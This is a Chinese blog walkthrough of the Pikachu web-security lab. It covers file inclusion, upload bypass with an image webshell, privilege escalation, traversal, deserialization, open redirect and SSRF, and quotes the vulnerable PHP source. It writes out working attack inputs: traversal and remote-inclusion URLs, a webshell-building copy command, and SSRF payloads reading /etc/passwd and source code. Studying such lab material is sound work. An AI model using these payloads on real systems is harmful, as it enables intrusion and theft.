?filename=../../../../../../../../Windows/System32/drivers/etc/hosts&submit=%E6%8F%90%E4%BA%A4
File inclusion(Remote)

既然是远程文件包含,那我们就访问win7上的靶场,再来包含我们物理机上的文件。这里注意,我们包含文件的时候,比方说我们在本机上写了一个phpinfo.php,那我们在包含该文件的时候,是在本机上进行了执行,再被包含的,返回的是我们自己的phpinfo信息,而非目标主机的信息。因此,需要写为phpinfo.txt,因为在文件包含时,如果有符合php代码规范的文件,是会被无条件当成php执行的。

http://192.168.3.131/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.1.101/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

远程文件包含涉及到两个配置选项
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件
除此之外,涉及到php伪协议,必须进行学习

Unsafe download

任意文件下载漏洞带来的最大风险往往是敏感信息的泄露,常见的利用方式有
1.密码相关文件下载,如管理员用户密码,ftp,ssh,weblogic
2.数据库,脚本,中间件配置文件下载,获取到配置文件信息,为更多漏洞的寻找埋下伏笔
3.下载网站源码,进行代码审计,找寻漏洞

php+mysql ,审计常见的sql注入,代码执行,密码找回逻辑,文件上传等,进行getshell
jsp+oracle| , 先下载/WEB-INF/classes/applicationContext.xml,再下载/WEB-INF/classes/xxx/xxx/ccc.class 进行反编译
其他构架。。。。。。
4.下载日志文件,找到登录/上传/后台/ 操作,找到登录入口,可以爆破,测试默认口令,弱口令, 找到文件上传点则测试文件上传漏洞,找到后台操作试试有没有未授权访问
这里只有一关,进入界面,可以看到,点击即可下载,不用犹豫,开启抓包
(img-6snd06x6-1602122701594)(./图片/32.png)]

抓到数据包,能看到,文件下载的参数,稍加修改,成功下载到日志文件
(img-F368GYpi-1602122701595)(./图片/33.png)]

Unsafe Uploadfile

不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。
所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
–验证文件类型、后缀名、大小;
–验证文件的上传方式;
–对文件进行一定复杂的重命名;
–不要暴露文件上传后的路径;
–等等…

client check

客户端验证相当容易绕过,常用的一般是两种方式
1.浏览器直接禁用js
2.先提交一个符合前端验证的文件,再到burp中进行修改

MIME Type

后端对Content-Type进行了验证,进行修改即可 Content-Type: image/jpeg

getimagesize

getimagesize函数会检测图片的大小和相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,该函数通过检查文件的前16位来判断图片的类型,因此,伪造图片头可以进行绕过。
这里我直接使用copy的方法

copy 1.jpg/b + 2.php/a 3.jpg 

这里要求使用小于500kb的图片,所以我们特意找一张小点的图片,上传成功后返回出上传的路径,我们复制一下路径进行访问,成功访问的到该图片
(img-K48FrVWH-1602122701596)(./图片/34.png)]

但是,图片马作为一个图片,它是不能被我们所利用的,于是,我们结合一下前边的文件包含,将路径拼接到url中,挨个尝试返回上级路径 …/ ,最终成功包含到文件。

http://192.168.3.132/pikachu/vul/fileinclude/fi_local.php
?filename=../../../../pikachu/vul/unsafeupload/uploads/2020/10/05/5074795f7b04013cfed389681443.jpg&submit=%E6%8F%90%E4%BA%A4  

(img-p03hzC9f-1602122701597)(./图片/35.png)]

Over Permission

水平越权

这里有三个账号,我们登陆lucy这个账号,然后点击查看个人信息,进行抓包
(img-pSS2kRFu-1602122701598)(./图片/36.png)]

可以看到对用户的校验仅有username一个参数,我们对其进行修改,修改为lili
(img-P7kVOXQ7-1602122701599)(./图片/37.png)]

本关涉及到两个页面,一个是登录页面,另一个是用户信息的页面,而越权漏洞出现在查看用户信息的页面中,在进行校验时,仅校验了传进来的username,导致了漏洞

$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
    header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
    //没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
    $username=escape($link, $_GET['username']);
    $query="select * from member where username='$username'";
垂直越权

在这一关中,有两个账号可以进行登录,一个是admin(高权限),另一个是pikachu(低权限),在进行登录时会有两个数据包,第一个是登录的数据包,第二个是请求页面的数据包
(img-11fQ2izW-1602122701600)(./图片/38.png)]

(img-iIV6wA8u-1602122701601)(./图片/39.png)]

在使用pikahcu访问时,访问的是op2_user页面,仅有查看权限,而admin访问的是op2_admin页面,具有增删权限,于是我便想在请求页面时时请求管理员页面,但是失败了。于是查了网上资料,以另一个思路实现越权。
在浏览器上同时登陆两个账号,admin用户点击进入添加用户信息的页面,pikachu用户直接复制该页面url也成功进入了添加用户的界面,填写信息点击添加用户后,自动退出了登录,但是再次登录时发现用户已经添加成功。
(img-GoVP8d9x-1602122701602)(./图片/40.png)]

既然添加用户可以越权,那来试试删除是否可以越权呢。同时登陆admin和pikachu用户,admin用户发起一个删除请求。

http://192.168.3.132/pikachu/vul/overpermission/op2/op2_admin.php?id=30

可以看到,通过get提交了一个参数,直接将url复制到pikachu用户,把id改为31,成功删除掉另一个用户。
但是再经过我的又一番验证之后,发现我的删除这个越权是失败的,大概率是因为同一浏览器,存在着cookie的原因,在火狐上登录pikahcu用户后越权失败。

通过源代码分析流程
1.首先是登录页面,用户提交信息,脚本从数据库中进行查询,对应的表中总共有3个字段,username,password,level,查询到数据之后,对level的值进行校验,然后签发session,并跳转到不同的页面。
(img-7ksArojb-1602122701604)(./图片/41.png)]

$html="";
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){
        $username=escape($link, $_POST['username']);
        $password=escape($link, $_POST['password']);//转义,防注入
        $query="select * from users where username='$username' and password=md5('$password')";
        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);
            if($data['level']==1){//如果级别是1,进入admin.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=1;
                header("location:op2_admin.php");
            }
            if($data['level']==2){//如果级别是2,进入user.php
                $_SESSION['op2']['username']=$username;
                $_SESSION['op2']['password']=sha1(md5($password));
                $_SESSION['op2']['level']=2;
                header("location:op2_user.php");
            }

        }else{
            //查询不到,登录失败
            $html.="<p>登录失败,请重新登录</p>";

        }

    }

}

2.接着是管理员页面,管理员页面中只要提交了id参数就可以完成一次删除操作,但是,此处校验较为严格,不存在越权漏洞。(至少我找不到)

$link=connect();
// 判断是否登录,没有登录不能访问
//如果没登录,或者level不等于1,都就干掉
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){
    header("location:op2_login.php");
    exit();
}

//删除
if(isset($_GET['id'])){
    $id=escape($link, $_GET['id']);//转义
    $query="delete from member where id={$id}";
    execute($link, $query);
}


if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:op2_login.php");

}

3.来到添加用户的页面,可以看到,相比于管理员页面的校验,此处缺少了对权限等级的校验,于是产生了越权。

$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
    header("location:op2_login.php");
    exit();
}
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
        $getdata=escape($link, $_POST);//转义
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){//判断是否插入
            header("location:op2_admin.php");
        }else {
            $html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

        }
    }
}


if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:op2_login.php");

}
------------------------------------------------------------------------------------------------------------------------------------------
//此处涉及到校验是否登录的函数。  
function check_op2_login($link){
    if(isset($_SESSION['op2']['username']) && isset($_SESSION['op2']['password'])){
        $query="select * from users where username='{$_SESSION['op2']['username']}' and sha1(password)='{$_SESSION['op2']['password']}'";
        $result=execute($link,$query);
        if(mysqli_num_rows($result)==1){
            return true;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

目录遍历

来到本关卡,界面如下
(img-bNfhzKzk-1602122701605)(./图片/42.png)]

点击超链接之后,即会显示出对应的文档
(img-JRLDM4x0-1602122701606)(./图片/43.png)]

当我们修改url地址栏,使其指向文件夹时,遍历出了下属的文件与文件夹
(img-mBpxTHfq-1602122701608)(./图片/44.png)]

(img-Nctc6pf4-1602122701609)(./图片/45.png)]

当我们来审计其源码时发现,它的源码如下,并且解释也不太和我想的一样,源码中是使用了一个require函数,并且网上的漏洞复现大多是使用的…/回溯到根目录的方式,这在我看来,更像是本地文件包含的一个漏洞,而非目录遍历。
这里由于好奇,搜索了一下require()与include()的区别,参考此链接
require()与include()的区别

$html='';
if(isset($_GET['title'])){
    $filename=$_GET['title'];
    //这里直接把传进来的内容进行了require(),造成问题
    require "soup/$filename";
//    echo $html;
}

(img-VvWqmWch-1602122701610)(./图片/46.png)]

接着我尝试了一下其他的目录,也同时出现了目录遍历的漏洞
(img-hIV1OW6e-1602122701611)(./图片/47.png)]

目录遍历其实并非是一种漏洞,更偏向于一种配置失误,比如在Tomcat中,修改conf/web.xml中的listings为false,即表示不允许列出目录
(img-AdB1tL0q-1602122701612)(./图片/48.png)]

而在Apache环境下,修改conf/httpd.conf,找到“Options +Indexes +FollowSymLinks +ExecCGI”,修改为“Options -Indexes +FollowSymLinks +ExecCGI”
(img-aUFBE79E-1602122701613)(./图片/49.png)]

敏感信息泄露

敏感信息泄露概述
由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
—通过访问url下的目录,可以直接列出目录下的文件列表;
—输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息;
—前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等;
类似以上这些情况,我们称为敏感信息泄露。敏感信息泄露虽然一直被评为危害比较低的漏洞,但这些敏感信息往往给攻击着实施进一步的攻击提供很大的帮助,甚至“离谱”的敏感信息泄露也会直接造成严重的损失。 因此,在web应用的开发上,除了要进行安全的代码编写,也需要注意对敏感信息的合理处理。
看到这样的提示,再加上上一关做的是目录遍历, 首先就来探测一下目录遍历,果然列出了上级目录,并且发现了一个文件,并且成功访问,且处于登录状态,此处就不再做源码的分析,就是没有进行登录校验。
(img-NxzIPknG-1602122701614)(./图片/50.png)]

(img-YyjXNbh0-1602122701615)(./图片/51.png)]

除此之外,查看页面源码还发现了泄露了敏感的用户信息
(img-OtgZmQeW-1602122701616)(./图片/52.png)]

PHP反序列化

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
    public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
    O:代表object
    1:代表对象名字长度为一个字符
    S:对象的名称
    1:代表对象里面有一个变量
    s:数据类型
    4:变量名称的长度
    test:变量名称
    s:数据类型
    7:变量值的长度
    pikachu:变量值

反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

    常见的几个魔法函数:
    __construct()当一个对象创建时被调用

    __destruct()当一个对象销毁时被调用

    __toString()当一个对象被当作一个字符串使用

    __sleep() 在对象在被序列化之前运行

    __wakeup将在序列化之后立即被调用

    漏洞举例:
class S{
    var $test = "pikachu";
    function __destruct(){
        echo $this->test;
    }
}
$s = $_GET['test'];
@$unser = unserialize($a);
    payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

因为对反序列化不太懂,对其利用方式也不太懂,所以直接来查看一下源码

$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
		//如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }

}   

可以看到,这段源码其实很简单,先将传递进去的字符串反序列化为一个对象,如果反序列化成功,那么输出该对象的"test"属性。因为没有进行任何过滤,因此,我们构造一个恶意的序列化字符串传入,就会被执行。 像这种没有进行过滤的话,或许可以通过反序列化漏洞实现多种攻击。
使用题中给出的payload,实现了xss攻击。
(img-dVjO2aPK-1602122701617)(./图片/53.png)]

XXE漏洞(xml external entity injection)

既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

这一关有点不太懂,因为对xml不太懂,暂且留下两个参考链接
https://www.cnblogs.com/flokz/p/xxe.html
https://www.cnblogs.com/joker-vip/p/12355165.html

URL重定向

不安全的url跳转

不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。
如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话
就可能发生"跳错对象"的问题。

url跳转比较直接的危害是:
–>钓鱼,既攻击者使用漏洞方的域名(比如一个比较出名的公司域名往往会让用户放心的点击)做掩盖,而最终跳转的确实钓鱼网站

首先来到漏洞首页,可以看到有几个超链接
(img-9kjJ4qtL-1602122701618)(./图片/54.png)]

点击前两个没反应,点击第三个会跳转到漏洞概述的页面,点击第四个会提交一个参数 url=i ,并弹出一句话
(img-A0Se7UfH-1602122701619)(./图片/55.png)]

对于这种漏洞的话,利用方式主要是钓鱼,把我们恶意的链接拼接上去,受害者往往会因为域名而放松警惕。

SSRF

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

数据流:攻击者----->服务器---->目标地址

根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()          

如果一定要通过后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好目标地址的过滤。

SSRF(curl)

来到首页,发现有一个超链接
(img-istQsGhG-1602122701620)(./图片/56.png)]

点击一下,弹出一篇文章,观察url地址栏,发现出现了ip地址,所以,应该是可以远程加载资源的
(img-JGXZzlDV-1602122701621)(./图片/57.png)]

SSRF漏洞的一大利用方法就是内网端口探测,比如这里,我们利用该漏洞来探测虚拟机上开放的3306端口
(img-W9DwVfR5-1602122701623)(./图片/58.png)]

除此之外还可以用于读取敏感文件
(img-GYTP8gwh-1602122701624)(./图片/59.png)]

探测内网服务器指纹
(img-wirRc0fB-1602122701625)(./图片/60.png)]

查看源代码

//payload:
//file:///etc/passwd  读取文件
//http://192.168.1.15:22 根据banner返回,错误提示,时间延迟扫描端口

if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    //curl_init — 初始化一个cURL会话  
    //如果成功,返回一个cURL句柄,出错返回 FALSE。
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    //curl_exec — 执行一个cURL会话  
    //成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;
SSRF(file_get_content)

file_get_contents() 把整个文件读入一个字符串中。

//读取PHP文件的源码:php://filter/read=convert.base64-encode/resource=ssrf.php
//内网请求:http://x.x.x.x/xx.index
if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}

由于使用的函数不一样了,利用方法也就不同了,这里,探测端口似乎不再灵验,但是依然可以实现文件的读取

http://192.168.1.101/pikachu/vul/ssrf/ssrf_fgc.php
?file=file:///C:/Windows/System32/drivers/etc/hosts   

(img-N3ZQUIVX-1602122701626)(./图片/59.png)]

可以发起内网请求,而不必跳转到另一个服务器,而使用curl则需要跳转
(img-x8MW1o4h-1602122701627)(./图片/61.png)]

除此之外,还可以读取出网页源码,直接使用本题提供的payload

?file=php://filter/read=convert.base64-encode/resource=ssrf.php

之所以使用base64,是因为,当我们使用本地文件包含,或SSRF读取文件时,如果直接读取php文件,会被当成php执行,而不能读取到源码

PD9waHAKLyoqCiAqIENyZWF0ZWQgYnkgcnVubmVyLmhhbgogKiBUaGVyZSBpcyBub3RoaW5nIG5ldyB1bmRlciB0aGUgc3VuCiAqLwoKCiRTRUxGX1BBR0UgPSBzdWJzdHIoJF9TRVJWRVJbJ1BIUF9TRUxGJ10sc3RycnBvcygkX1NFUlZFUlsnUEhQX1NFTEYnXSwnLycpKzEpOwoKaWYgKCRTRUxGX1BBR0UgPSAic3NyZi5waHAiKXsKICAgICRBQ1RJVkUgPSBhcnJheSgnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnJywnYWN0aXZlIG9wZW4nLCdhY3RpdmUnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnLCcnKTsKfQoKJFBJS0FfUk9PVF9ESVIgPSAgIi4uLy4uLyI7CmluY2x1ZGVfb25jZSAkUElLQV9ST09UX0RJUi4naGVhZGVyLnBocCc7CgoKCgoKCj8   
php中file_get_contents与curl的区别

1.curl支持更多功能
curl支持更多协议,有http、https、ftp、gopher、telnet、dict、file、ldap;模拟Cookie登录,爬取网页;FTP上传下载。
fopen / file_get_contents只能使用GET方式获取数据。
2.性能
curl可以进行DNS缓存,同一个域名下的图片或其它资源只需要进行一次DNS查询。
curl相对来说更加快速稳定,访问量高的时候首选curl,缺点就是相对于file_get_contents配置繁琐一点,file_get_contents 适用与处理小访问的应用。

总结

历时七天,算是勉勉强强将pikachu靶场完成了,但是,还有许多内容需要进行整理。

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值